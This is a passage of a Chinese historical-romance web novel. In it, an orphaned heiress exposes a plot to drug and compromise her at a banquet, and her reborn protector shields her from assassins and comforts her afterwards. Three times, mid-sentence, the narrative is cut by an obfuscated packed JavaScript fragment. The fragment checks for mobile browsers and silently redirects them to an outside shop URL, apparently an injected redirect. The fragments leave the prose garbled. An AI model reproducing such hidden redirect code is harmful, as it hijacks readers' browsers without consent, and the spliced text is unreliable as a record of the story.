笔又提了起来，在旁边的另一行，写下另一番光景，“荷尽已无擎雨盖，菊残犹有傲霜枝。” 这两句写的慢，笔意也收了些，瘦硬里透着韧劲，像把前面那冲天的香气，都敛成了枝头一点经霜不凋的寒碧。 两首诗并排在那儿，一放一收，一刚一柔，倒像有意为之的对话。 看着多年未如此肆意写过的字，忽然想起很久以前，邻床的那位岑老爷子说的话，“丫头，你这字太桀骜，瞧着规矩，里头藏着小兽的爪子，字如其人，你这心里头怕也是关着一只不肯驯服的小东西。” 那时她只当是玩笑，如今看起来，倒是能品出几分真意来。 有侍女拿着她的字，绕着水廊走了一圈，能看见众人脸上或诧异，或欣赏的神色，绕到霍抉和赵赫轩跟前。 霍抉心里欢喜，想着要把她写的诗收起来，她身上还藏着许多他不知道的惊喜，只知道她擅临摹字画，一手小楷写的也有模有样，却不知道她竟然能将草书写的肆意潇洒。 而赵赫轩看着那些字，眼底眸光一闪，这个女人不简单，看向姚知韫的目光便有些意味不明。 后面又有几位小姐作了画，写了字，姚知韫便也退了下来，又站回霍抉的身边。 热热闹闹的又过了一会，也不再有人提起抄袭的那茬，姚知韫也乐得清静，安安静静的将自己缩成角落里一道极淡的影子，只求不要再有人瞧见。 只是站的久了，腿脚有些不受用，左脚换到右脚，来回倒换姿势腿脚酸痛，最后趁着无人留意，她又朝着霍抉靠了靠，把大半的分量靠在他的后背，腿果然松快了许多。 霍抉似乎瞬间知悉了她的意图，脊背又挺了挺，让她靠起来更方便一些。 众人还在品评诗词画作，声音高高低低，像初夏的蛙鸣，忽然，月亮门那头喧闹起来，不是先前说笑，是带着些慌乱的脚步声，压低了又忍不住扬起来的惊呼，也不知道是发生了什么事。 姚知韫虽也好奇，但却没动，反倒将自己的身子往后挪了挪，几乎完全隐在霍抉高大的身影里。 她不知道发生了什么，霍抉却是知道的，他垂着眼，眼底的冷光倏然闪过，又沉如无波的幽暗。 终于来了。 他侧过身，声音不高不低，恰好能让旁边的人听见，“殿下，前头似乎有些热闹，不去看看？” 赵赫轩何等剔透的人物，眼风在霍抉平静无波的脸上轻轻一绕，心下便明了了几分。这位霍提督，怕是早知有此一出。既如此，顺水推舟卖个人情，何乐不为？ 他脸上适时地浮起恰到好处的好奇与雍容，折扇在掌心轻轻一叩：“哦？那便同去瞧瞧。霍提督，请——” 二皇子与霍抉既动了身，姚知韫自然不能独自留下。她理了理并无褶皱的衣袖，跟在霍抉身后半步。水廊上那些原本赏菊谈诗的人，见这两位领头，也像被无形的线牵着，三三两两，汇成一股好奇的细流，悄没声地朝月亮门那头涌去。 出了月亮门，转了一个小角，便是一处僻静的暖阁，此刻阁门半掩，里头传出女子低低的呻吟，暖阁外，已经聚了好些人，多半是闻声而来的仆妇，与自由活动后一些聚集在一起的夫人们，都屏息，伸长了脖子，脸上交织着兴奋与惶恐。 英国公夫人孙氏由一个婆子搀着，脸色铁青，立在最前头，她胸口起伏得厉害，手里的帕子绞成麻花，李氏跟在她侧后方半步，眼神却含着一丝兴奋，嘴唇嚅动，最终却什么都没说。 空气里弥漫着一种诡异的气氛。 “听说，里头是姚家的那位姑娘？”人群里，有人压着嗓子嘀咕着。 “不能吧！”随即便有人附和着。 “一个孤女，又没人教养，做出什么事都不奇怪。” 说话的都是刚才的一些夫人，眼神中有同情，有鄙夷，更多的是等着看好戏的灼热。 孙氏则闭着眼睛，脑海中盘算着，接下来她应该要做什么反应，才能让国公府的面子不至于太难看，一个孤女罢了，就算是有霍抉撑腰，那又如何？他的手再长，还能伸到国公府的内宅吗？ 她现在只要推门进去，若隐若现的让人知道里面的那位是姚家的姑娘，一个孤女，婚前失贞，坏了名声，他家娶回来，既全了名声又能拿捏她，她身后的那些钱还不都是平儿的，到时候花钱给平儿捐个官，再有兄长扶一把，平儿以后便能平步青云。 心里得意，差点就掩不住地冒出来，她努力才压得下去。 孙氏睁开眼，眼底只留下沉痛，她深吸一口气，仿佛用尽全身的力气，对身边的心腹嬷嬷道，“去——把门打开，总要——问清楚的。” 嬷嬷默默应了声，刚要上前。 孙颖从后面走了过来，看到姚知韫跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099275|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍抉身后，她脚步顿住，惊讶地喊了一声，“姚姑娘，你——怎么在这里？” 这话问的没头没脑，姚知韫抬起眼，目光澄澈，像秋夜的井水，“孙姑娘，我一直在这里。” “啊——？”，孙颖愣了一下，手指下意识地指了指暖阁，嘴角随即弯起一个了然又带点说不清意味的笑，“那——。” 孙氏猛然回头，看着亭亭立在那里的姚知韫，眼珠子几乎要凸出来了，她脸上那沉痛的表情还来不及褪去，就迅速被一种更深的惊疑覆盖，她回头看虚掩着的阁门，她怎么会在这里？那里面的又是谁？ 要怎么办？孙氏脑海中翻涌着，如今姚知韫不在里面，那里面的人是谁？无论里面是谁？如今都是骑虎难下，嬷嬷放在门上的手，是推也不是，不推也不是。 时间，仿佛在这一刻静止了。 暖阁里的声音此起彼伏，不绝于耳，外头的窃窃私语却是戛然而止，所有的目光，像被无形的线牵着，齐齐的落在暖阁的门上。 “无论如何，还是先看看情况，”方才那位嘀咕“姚家姑娘”的人，此刻涨红着脸，仿佛要赎罪般的催促着。 嬷嬷一个激灵，看向孙氏，孙氏嘴唇哆嗦着，却发不出一个清晰的指令，只能胡乱地点了下头。 “吱呀”一声，有些滞涩的开门声，在寂静中被无限放大。 暖阁内光线昏暗，地上散落着衣裙，床上两个人长发覆面，还在亲密地抱在一起。 孙氏的脸，褪尽血色，苍白如鬼魅，她精心布置的网，网住的却是一条漏网之鱼。 而一直沉默跟在人群后的苏姨母，像个影子。 暖阁门打开时，她便也跟了进去，踮着脚往前瞅，待瞧清里头那个人影时，发出一声短促尖利的抽气，像被人扼住喉咙，她推开身前的人，疯了似的扑到暖阁，看清里面的情形后，脚一软，几乎瘫倒在地。 “嘉——嘉儿？怎么会是你？” 她的声音凄厉刺耳，划破了夜的虚假平静。 她上前推开宋平，抓起床上的薄被裹住冯嘉，而冯嘉此刻面若桃红，努力地想要挣脱苏姨母的怀抱，去靠近被推开的宋平。 苏姨母死死地抱着冯嘉，却在瞥见冯嘉手上的镯子时，扯开嗓子喊了起来。 “姚知韫，一定是你，一定是你，你究竟对嘉儿做了什么？” 孙氏极快地反应，“快，把韫儿叫进来，弄清楚到底怎么回事？”孙氏如今是一定要将姚知韫拉进来，只要她进了这暖阁的门，她就有机会将她拖进来，大不了，把冯嘉一起纳进来，不过一个六品官的女儿，给她平儿做妾，有何不可？ 姚知韫听到苏姨母喊着自己的名字，再看看方才那些人群看到她的反应，她还有什么不明白的，原本一直泛着笑意的面容，渐渐冷了下来。 她从霍抉的身后走出来，轻拍他抓住她手臂的手，示意他无妨，一步一步地走到暖阁的门口站定，“我来了，苏姨母有什么要问的？” 12. 我护着你不好吗 孙氏语气略显急切，“快，韫儿进来说话。” 外头廊下站着的夫人们互相递了个眼色，神色都变得有些含糊了，都是大宅院里成精的人，这点弯弯绕的心思，谁还看不明白，更何况这些人中，未必没有打过姚知韫的主意的。 这孙氏今日势必要将这盆水泼在这位孤女身上，竟是连脸面都不要了。 姚知韫冷下脸，她没有往里走，反倒往后退了小半步，让廊下的灯光把自己照得更清楚些，声音清亮亮的，不高，却足以让在场的每个人听到。 “孙夫人，我虽自幼失恃，却也知晓礼数，我一个未出阁的姑娘，如何能掺和到贵府内宅之事。” 她顿了顿，目光扫过众人，最后落在那半开的暖阁的门上。 “您是当家主母，又与我母亲旧日相熟，按常理，遇到这样的事情，该是巴不得我远远的避开，保全名声才是，怎么反倒一定要让我进去？” 话说到这份上，便是把那层窗户纸捅破了，孙氏在里头，怕是一口气噎在胸口，她是无论如何也没想到，这姚知韫是一点面子也没给她留。 姚知韫并未给孙氏辩驳的时间，话锋一转，“只是苏姨母口口声声喊着，这事与我相干，我便不得不问个明白，否则，这要是传出去，我万死也无颜再见地下的爹娘。” 苏姨母已经顾不上许多，尖声道，“嘉儿分明是受人陷害，定是中了那些下作东西——。” 未等到苏姨母说完，姚知韫便截断话头，“姨母既然说嘉儿表妹中了药，这就更好办了， 她转过身，却没有看向霍抉，而是朝着赵赫轩福了福身，“殿下，既然姨母有此一说，能否烦请殿下请个大夫来，总要查个清楚才好。” 赵赫轩眼底掠过一丝兴味。他自然愿意，即便不看霍抉的面子，单看这姚姑娘如何破局，也够有意思了。“自然。”他折扇一抬，身后跟着的小厮便伶俐地应声跑开了。 霍抉双臂松松一抱，倚在廊柱上，眼底那点冷意化开，换成了淡淡的、看戏似的神气。 苏姨母张了张嘴，话堵在喉咙里，心下暗道，出了这样的事，嘉儿必须要嫁进国公府，可冯家自然是高攀不上国公府世子的正妻之位，可若是国公府存了害人的心思，那就不一样了，这次她一定要闹一闹，为她的嘉儿搏一搏。 想到这里，她便把话咽了下去，眼睛只能看着冯嘉手上那个玉镯，目光狠狠地看向孙氏。 不多时，小厮便引着个年轻大夫进来，一身灰布长袍，瞧着不像个坐堂的郎中。 “沈大夫，有劳。”赵赫轩拱了拱手，眼角瞥向自家小厮——怎么把这尊神请来了。 那年轻大夫自觉地上前一步，不等吩咐，便开了口，笑意盈盈，“姚姑娘，在下沈卿，愿意效劳，”他目光清亮，从过来就没离开过姚知韫，里头的好奇与玩味，藏也藏不住。听说有这等热闹，他是自己挤上来的。 姚知韫还了礼，语气恳切，“沈大夫，姨母说表姐中了毒，请您务必仔细看看，救下表姐，也务必查清表姐是中了什么毒？有无性命之忧？” “定不辱使命——，”沈卿话音未落，人已推门进了暖阁。 里头进了片刻，便传来他清朗的声音，不紧不慢。 “这位姑娘中的，是‘海棠枕春露’，此药需两物合用才见效：一是‘绛红草’，此草生于西域，以其汁液浸泡物件，贴身佩戴；二是‘朱颜烬’，混入饮食。二者缺一，则不过寻常香物罢了。” 姚知韫立刻出声，“沈大夫可辨得出，表姐身上那件物件是浸过那草的？” 沈卿已走了出来，手里拎着块不知从哪里扯来的旧布，托着个碧玉镯子，“喏，便是此物。” 那位穿丁香色长衫的夫人便出声，“这不是孙夫人送给姚姑娘的镯子吗？” 众人心里那盏灯，霎时都拨亮了。 姚知韫却不急，只望着沈卿又问，“敢问大夫，这绛红草，需浸泡多久方能起效？” “至少十二个时辰。”沈卿答得爽快，眼里笑意更深。这姑娘，是要把路都堵死。 “如此说来，”姚知韫轻轻叹了口气，声音里带上点无助，“倒真是我害了表姐了。” 众人一怔，心道这姑娘还是年纪小，怎么往自己身上揽事？ 同情的神色还未在她们脸上漾开，只听姚知韫又“哎呀”一声，像是忽然想起什么，语气天真里透出后怕： “我若早知道这镯子不妥，表姐问我讨要时，我说什么也不能给呀。”她蹙着眉，目光在几位夫人脸上担忧地扫过，“还有……孙夫人特意做给我吃的栗子糕，表姐也替我吃了，几位不认识的夫人也用了。沈大夫，不知她们……会不会也有碍？不如……” 她话没说完，适时地低下头，留下无尽余味让人去品。 戏唱到这里，火候已足。 霍抉知道，该他上场了 他放下环抱的手臂，往前踱了半步，周遭的空气瞬间凝了几分，他目光如霜刃，直直刺向面如土色的英国公宋昭 “宋大人，今日这赏菊宴，看来是醉翁之意不在酒。幸而韫儿心软，将镯子给了旁人，否则……”他冷笑一声，寒意逼人，“今日身败名裂、任人拿捏的，便是她了。此事，还望英国公府，给霍某一个交代。” 说完，他不再看任何人，只朝姚知韫伸出手，声音沉静：“韫儿，我们回家。” 姚知韫低着头，慢慢走过去，肩膀微微耸着，像秋风里一枝瑟瑟的芦苇。站到霍抉身边时，仍是那副委屈得不知如何是好的模样。 霍抉周身寒意更重。宋昭额上的汗擦了又冒，连连拱手告罪，心里已将孙氏咒了千百遍。经此一事，孙氏本就岌岌可危的地位，怕是彻底完了。倒是李氏，悄无声息地捡了个现成便宜。 霍抉不再多言，护着姚知韫，转身便走。玄色的披风一角拂过地面，带起一阵冷风。 姚知韫回头望着那些未散的人群，心中冷哼，苏姨母想要借她的筏子给冯嘉讨利益，她偏要点明，镯子是她讨要的，栗子糕也是。 至于孙氏，既起了害人之心，她也不能白受着，她不是小白兔，也没那么多弯弯绕绕的心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099276|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，直截明了地反击回去，才是她的风格。 回程的马车上，两人沉默着，一路无话。 车轮碾过路面，辘辘的声响在夜色里吟唱，姚知韫侧过脸，声音淡淡的，像飘在车顶的月光。 “今天的事，你知道？” 霍抉没有回答。 他知道，他当然知道。 前世也是赏菊宴，苏姨母和孙氏布下这个局，她就那样悄无声息地落进去，像一片羽毛沉进深潭。后来她嫁入英国公府，那潭水一天比一天冷，一天比一天深。她性子淡，不爱争，也不爱闹——不，或许也争过的，只是身后空荡荡的，无人托着，便渐渐熄了声。 而他，顾着身份，顾着霍家的清名，顾着文人的礼数，他站在岸边，看着她一点点往下沉，却连一根手指都不曾递过去。 直到她死。 她选了那样热烈的方式，从泥潭里挣出来，溅了满身血光。他才明白——她在他心里，比什么身份、什么清名，都要紧得多。 现在好了。 他回来了，也总算有了能护住她的力气。这回，他不能放手，更不敢放手。 车窗外的月光漏进来，落在她搭在膝头的手上，指尖微微蜷着，像是握着一捧易碎的月光。 霍抉那么久的沉默，姚知韫还有什么不知道的？“所以，怀璧其罪？”她说的极低，也没想让他回答。 “为什么？” 她看向霍抉的目光清凌凌的。 为什么要帮她？为什么要护着她？为什么……？他的目的又是什么？ 她心里有许多这样的为什么，像春日里疯长的藤蔓，缠绕着理不清。霍抉待她，不像是因着爹爹那层旧谊——旧谊是温暾的茶，放凉了便淡了。他的眼神却是滚烫的，烧得她心头不安。 霍抉半垂了眼。 他不敢看她。他怕眼底那些深埋了太久的东西，一旦露出些许，便会吓着她——那是怎样的一片荒原，干涸了太久，连他自己都怕。 “这样不好吗？”他开口，声音压得低低的，几乎散在夜色里，“我护着你，不好吗？” 姚知韫摇了摇头。 “我还不起。”她说得极轻，却又极坚定，“欠钱，总有数目，总能还清。人情……还不尽的。” 车窗外忽有风起，卷过街边的梧桐，沙沙的，像是叹息。 霍抉终于抬起眼。 夜色浓，车里的灯烛又暗，他的脸半明半昧，唯有那双眼睛，亮得惊人。 “韫儿，”他叫她的名字，舌尖轻轻抵着齿间，仿佛这两个字是含在口中多年的蜜，舍不得一下子化开，“我不要你还。” 他顿了顿，喉结轻轻滚动。 “你就当……是我欠你的。” 欠你前生无数个沉默的黄昏，欠你那些我本该伸出去却缩回的手，欠你一条命，欠你一生本该有的平安喜乐。 但这些话，他一个字也不能说。 姚知韫没有接话，挪了挪身子靠在了距离霍抉最远的一个角落，沉默地将目光看向车外，却没有焦距。 13. 刺杀 马车沉默地向前，街上的声音渐渐沉了下去，安安静静的。 转过一个街角，进了一条巷子，路窄了些，也不如街上的路面平坦，车轮碾过的声音便显得格外清晰，姚知韫知道，穿过这条巷子便是柳檐街，再走三户门便是姚府了，而那三个户门其中一个正是霍抉的赤衣侯府。 眼看着快到家了，她悄悄松了口气。 车厢内的气氛不知何时变得沉沉的，像梅雨天压在屋檐的云，霍抉周身的寒气，丝丝缕缕地渗出来，连空气也凝了几分。 他，在生气？ 那她要不要——说点什么？ 可，说些什么呢？道谢？太生分，劝慰？又不知他气从何来，姚知韫垂下眼，指尖无意识地在膝头轻叩。 正在她神游之际，突然车身猛然一晃，骤然停住。 她身子因着猛烈的惯性往前倾，而她的位置，恰在车厢最里侧，这一倾，便要撞上硬木的车壁。 斜里伸来一只手，姚知韫只觉得腰上一紧，整个人便跌进一个硬朗的怀里。鼻子结结实实撞上他胸膛，酸得她眉头一蹙。 霍抉的心猛然收紧，和他想的一样，软软的，带着一股淡淡的，像晒过太阳的棉布那样的香气。 “别动。” 他的声音压得极低，像深夜掠过屋脊的风，听不出情绪，可姚知韫本能地脊背绷紧了。 几乎同时，车外响起几声极轻微的、空气被划破的咝咝声。 紧接着是“砰砰”几声闷响，像有什么东西钉进了木头里。整个车厢竟在瞬间四分五裂，木板、碎屑哗啦啦散落一地。 霍抉揽着她的腰一提，人已跃起。脚尖在飞溅的木块上轻轻一点，再落地时，已稳稳站在长巷的青石板上。 “笃。” 一只弩箭，通体黝黑，箭镞在檐下灯笼的微光里泛着幽蓝的寒芒，正钉在她的脚边，箭尾还在微微震颤，发出细弱的嗡鸣。 姚知韫的呼吸滞住了，她盯着那只箭，脑子里一片空白，只听见自己心跳如擂鼓，一下下撞击着耳膜。 巷子里异常的寂静，仿佛刚才那场碎裂从未发生过。 青木和几名侍卫已悄无声息地落在四周，将霍抉与姚知韫护在身后，对面，几个黑衣人从巷子两头缓缓围拢过来，像夜色里渗出的墨滴。 姚知韫的手在袖中攥紧，指尖掐进掌心，传来清晰的痛感，是刺客？霍抉刚回京，又权柄在握，不知道有多少人盼着他死。 她在昏暗的光线中迅速扫视，想着她没什么武力值，总得先找个地方躲起来，至少不给他添麻烦，目光扫了一圈，终于看到对面巷墙根，有棵槐树，树下倚着一块半人高的石头，中间那个夹缝，以她的小小的身体，应该是可以躲进去。 说做就做，她扯了扯霍抉的袖子，朝着那个方向指了指，轻轻从他手中抽出自己手，猫着腰就跑了过去。 还好，缝隙刚好容身。 她蹲下身，将自己身躯尽可能地往里缩，背靠着冰凉的石壁，能听见自己细微的呼吸声，还有不远处传来，刀刃相接的清脆响动，短促，利落，像冬夜折断枯枝。 霍抉怎么说也是上过战场的人，对付几名刺客应该不在话下。 她闭着眼，双手合十，把能记得住的菩萨名号都念叨了一遍，像是给自己催眠。 “咚，” 闷闷的一声，像麻袋摔在地上。很近，震得她脚底发麻。 姚知韫试探着睁开一只眼睛。 一个黑衣人倒在她面前三步远的地方，脸侧着，正对着她。眼睛瞪得老大，直愣愣地望着夜空，瞳孔里还映着几点残碎的星光，嘴角有鲜红色的血淌出来，蜿蜿蜒蜒，爬进脖颈的阴影里。 姚知韫的呼吸停了。 死人她是见过的。前世在病房里，不知道从她的身侧推出去多少人。每一次护士拉上帘子，过一会儿推出去，床铺就空了，只剩阳光里浮动的微尘。那是安静的，甚至称得上安详的，像一片叶子落了。 可眼下，那股子生猛的腥气直往鼻子里钻。血还是温的吧？她胡乱想着。 姚知韫的胃猛地抽搐了一下。 她慌忙闭上眼，可那画面已经烙进去了——瞪大的眼睛，翻卷的皮肉，蜿蜒的鲜血。 远处刀刃相接的声音渐渐稀了，最终停下，巷子里静下来。静得能听见风穿过屋檐的呜咽，脚步声朝这边来，踩在青石板上，稳而沉，一下又一下。 可她动弹不得，身体僵硬得发直，像深秋里冻住的苇杆。 “韫儿——，” 那声音像是从很遥远的地方传来，穿过雾，穿过风，终于落到她耳边，带着温温的暖意。 她慢慢抬起头，望进了那双深不见底的眼眸，像古井，映着檐角漏下的几点碎光，却照不进底，他用一种近乎专注、温和的眼神望着她，仿佛这长巷、血腥、狼藉、都不存在。 “韫儿——”，他又唤了一声，声音压得低低的，像怕惊扰了什么。 她缓缓地伸出手，手是冰的，还在微微地颤。他将她的手拢进掌心，那温热便一点点透过来，顺着血脉往上爬，连心跳的声响也渐渐缓了下来。 “没事了——，”他轻轻一带，将她拉进怀里，手臂环住她瑟缩颤抖的身子，掌心一下一下，很慢地拍着，“都过去了——” 他的怀抱很坚实，带着皂角的清气，还有一丝极淡的、尚未散尽的铁腥味。姚知韫把脸埋进去，任由那暖意包裹住自己，驱赶着骨头缝里渗出来的寒意。 “是——冲我来的？”她的声音有些发干。 她自认躲得足够隐蔽，若这些人是冲着霍抉去的，断不会死得离她这样近——还有那支颤巍巍钉在眼前的箭。 可她，又能得罪谁呢？ 青木立站在他的身后，额发微乱，气息已经平稳，“将军，六个，死了三个，服毒了一个，还有两个，巷子两头也清了。” 霍抉“嗯”了一声，听不出情绪。他微微弯腰，手臂穿过她的膝弯，将人稳稳抱了起来。 “回家。”他说。 巷子深处传来更夫敲梆子的声音，悠悠的，三更天了。 霍抉将姚知韫一路抱回她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104377|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的闺房。 小桃早已吓得脸色发白，打来热水的手都是抖的，霍抉摆摆手，自己拧了帕子，动作生疏却尽量放轻，替她擦了脸和手，她的指尖冰凉，他便一直捂着，直到那苍白皮肤底下，渐渐的透出一点淡青的血管颜色。 芙蓉站在不远处，低垂着头，“将军，我没有保护好姑娘，请将军责罚。” 霍抉眼底闪过冷意，却还是沉着声音，“你是韫儿的丫鬟，责罚自当由她来决定，下去吧！” 小桃急匆匆的跑进来，端着一碗安神汤，眼眶红红的，“这是怎么了？” 霍抉接过来，挥手让小桃退下，试了试温度，才凑到她唇边。 “喝一点。”他声音很低。 姚知韫恍恍惚惚地张嘴，咽了几口，便偏过头去，她眼神空茫茫的，看着帐子顶，不说话。 她侧身躺下，将自己蜷起来，环抱着双臂，她知道有很多人在打她的主意，可为何非要置她于死地，她死了，谁能获利？她心底隐隐有个答案，只是她不愿意相信。 霍抉也不迫她，将碗放在旁边，他自己搬了张圆凳，坐在床前不远不近的地方守着。 烛火噼啪轻响。 可能是安神药起了作用，姚知韫的呼吸渐渐绵长，身躯也缓缓放松。 姚知韫起初只是安静地躺着，后来呼吸渐渐急促起来，额头上渗出细密的冷汗。她开始不安地辗转，被子被拧得皱成一团。 “别……别过来……”，她含混地呓语，手指无意识地抓紧了被角。 霍抉立刻倾身过去，握住了她的手。 “韫儿，醒醒。”他唤她。 姚知韫却陷得更深了。她像是被什么魇住了，整个人开始发抖，牙齿格格地打颤。 “血……好多血……好多血……” 她的声音断断续续，带着哭腔，眼泪从眼角滑落，眼睛却死死闭着眼，仿佛一睁开就会看见什么可怕的东西。 霍抉的心像被一只手攥紧了，闷闷地疼。 他不再犹豫，脱了外袍，躺了上去将她整个连人带被地揽进怀里。 “不怕，”他贴在她耳边，一遍遍地说，手臂收得很紧，“我在这里。那些都过去了，再也伤不到你了。” 姚知韫微微挣扎，霍抉紧紧抱着，渐渐地，被他身上熟悉的气息包裹，那剧烈的颤抖终于平复了一些。她无意识地往他怀里钻，额头抵着他的锁骨，呼吸喷在他颈窝，湿热而凌乱。 霍抉一动不动地抱着她，手掌一下下抚着她的背脊，像给受惊的小动物顺毛。窗外的月光移过窗棂，从东边移到西边。更鼓敲过了四更，又敲五更。 怀里的人终于彻底安静下来，呼吸变得绵长而均匀，只是手指还揪着他中衣的前襟，揪得紧紧的，像溺水的人抓住浮木。 在前世那些漫长而昏暗的日子里，她是不是也像这样，一次又一次地缩在冰冷的角落，从噩梦的泥沼中挣扎醒来，独自咽下那些无人知晓的哭泣？ 这个念头像根细针，倏地扎进他的心口，泛起一阵细密的疼。 不。 14. 不是你的错 霍抉闭上眼，黑暗里浮起旧日的影子。 他知道的，她从来不哭。 姚兄战死嘉兰，尸骨无存，只寻回半幅残甲，苏家嫂子经不住这悲怆，不出十日便跟着去了。灵堂前白幡飘摇，七岁的她一身缟素，腰背挺得笔直，一滴泪都没有掉。 他和她说，“哭吧！” 她却昂着头，唇角甚至弯起一个极淡的弧度，“哭，最无用。” 后来七年，每隔十天便能传回她的消息，他知道她一直乐观的活着，知道她读了许多书，临摹了许多画。最喜欢躺在大槐树下晒太阳。 她像一株长在石缝里的兰，风霜雨雪都经过，却始终昂着细细的茎，不曾折腰，也不曾垂泪。 霍抉低下头，怀里的姚知韫不知何时已彻底松了眉头，呼吸轻缓地拂在他颈间。睡着的她，终于卸下了那层淡然的壳子，露出底下柔软的、会害怕、会依恋的内里。 他低头，借着熹微的晨光看她。她睡着的模样少了平日那份淡然的疏离，眉眼柔软下来，睫毛上还沾着一点未干的湿意，像清晨草叶上的露水。 他就这样看了很久，看晨光一点点染白窗纸，看她睫毛在微光里投下浅浅的影子。 他就那么看了很久很久，终究没舍得抽身离开。 就这样抱着吧。他近乎放肆地想， 此刻她在怀里，真真切切的，有温度，有呼吸，不是那具冰冷骸骨。 这鲜活的分量，足以填满前世所有空旷的遗憾与迟来的守望。 不知睡了多久。 姚知韫在一片彻底的空旷和寂静中醒来，鼻尖萦绕着的血腥味，像打翻了陈年的铁锈匣子，搅合在混了锦被被晒后蓬蓬的太阳味儿里，阳光斜斜地切进来，落在地板上，亮汪汪的一滩，看得人眼晕。 她睫毛颤了颤，像是沾了露水的蝶翅，缓缓地睁开，她撑着身子坐起来，宿醉般的额角漫开，骨头缝里都透着乏。 “小桃，”她揉着额角，声音还有些黏，“什么时辰了？” 外头噔噔噔的脚步声，轻快里透着慌。小桃掀了帘子进来，眼睛肿得像桃儿，却硬挤出个笑模样：“姑娘可算醒了！真真要吓死我了！”话没说完，泪珠子又滚下来，她胡乱抹了一把，“往后您去哪儿，可都得带着我！再不兴一个人了！” 姚知韫伸出手，指尖微凉，拭去她脸上的泪，“傻丫头，我这不是好好的么？” 小桃拧了帕子，一下一下，格外仔细地替她擦着。姚知韫望着铜盆里晃晃悠悠的水影子，有些出神。 “他呢？”话问出口，声音干干的，平平的，像秋天晒透了的豆荚。 小桃的手顿了顿，嘴角往下撇了撇，口气硬邦邦的：“天没亮就走了。”她心里头恼得很——这人一来，姑娘就没安生过。昨夜那阵仗，刀光血影的，不都是因着他？ 走了？ 姚知韫心里头空了一下，又像是实实地落定了。她记得昨夜混沌里那股子干净的皂角气，记得有人一下一下拍着她的背，记得耳根子底下低低的、像哄孩子似的声音。 她坐在镜台前，黄澄澄的铜镜里映出张脸，苍白苍白的，没什么血色。脖子上仿佛还贴着那支弩箭带起的凉风，嗖的一下，能钻进骨头里去。 可一晃神，又是昨夜那片不容分说的暖，沉沉的，裹着她，逃不开似的。 镜子里的人眉眼渐渐淡了，像用淡墨勾的，连那点子残余的惊惶也敛了进去，只剩下潭水似的静，结了薄薄一层冰。 为什么？ 谁要杀她？或者说，她死了，谁最能得着好？ 为钱？姚家的金山银海是招眼，可那些高门大户心里头门儿清，只有她活着，嫁过去，那些钱才能名正言顺地流进他们府库里。死了，就什么都没了。 为仇？爹娘走了这些年，若有仇怨，早该了了。若是朝堂上头的风刮下来的，更犯不着绕这么大弯子，对付她一个无依无靠的孤女。 那么—— 镜中的女子微微垂下眼，嘴角牵起一点极淡的弧度，像自嘲，又像认了命。 她心里其实明镜似的。若她真没了，那半个苏家的产业，怕是要顺着根儿，悄没声儿地流回苏家去。外祖父当年疼母亲，硬生生分出去一半家底，可产业账本可都没分清爽。她活着，是姚家的姑娘；她死了，便只是苏家流出去的一笔旧账，合该收回去的。 日光移了一寸，正正照在妆匣的一角，那上头嵌的螺钿闪着幽微的光，冷冷的。 姚知韫敛去情绪，瞬间又恢复了那个淡然的人，兵来将挡，水来土掩，既然不能混吃等死，那就鱼死网破。 “姑娘，”小桃声音压得低低的，像怕惊着什么，“芙蓉姑娘……还在外头跪着呢。” “芙蓉？”姚知韫正对镜理着鬓角，闻言转过头来，眉间微微蹙起，“她怎么了？” 小桃抿了抿嘴，目光往门外瞟了瞟，“昨儿夜里就跪下了，一直到现在。虽说入了秋，可夜里的寒气已经渐深……” 姚知韫沉默了片刻。铜镜里映出她半张侧脸，沉静得像一泓水。 “让她进来吧。”她说。 门帘轻轻一动，芙蓉走了进来。脸色有些白，嘴唇抿得紧紧的。到了跟前，一言不发，直挺挺地又跪下了。 “姑娘，”她额头抵着冰凉的地砖，声音却清晰得很，“是芙蓉没护好姑娘，请姑娘责罚。” 屋里静了一静，窗外的日头又移了几分，暖光落在芙蓉的背上，衬得那身衣裳格外单薄。 姚知韫看着地上的人影，好一会儿，才淡淡开口：“这事怪不得你。况且——你是霍将军的人，我怎么好罚你？” 芙蓉抬起头，额上沾着一点灰。她眼里没什么多余的情绪，从怀中掏出卖身契，诚诚恳恳地递上：“将军吩咐了，往后姑娘就是芙蓉唯一的主子。是打是罚，是留是遣，全凭姑娘做主。” 她望着芙蓉低垂的后颈，那儿有一缕碎发被汗水濡湿了，贴着皮肤。秋风从窗缝里钻进来，带着院子里残留的、若有若无的苦香。 半晌，她几不可闻地叹了口气。 “起来吧。”她说，声音里那点疏淡的冰碴子，慢慢化开了，“不是你的错。” 芙蓉身子顿了顿，才慢慢站起身。膝盖大概僵了，动作有些迟滞，但她站得笔直，像一株经了霜的竹子。 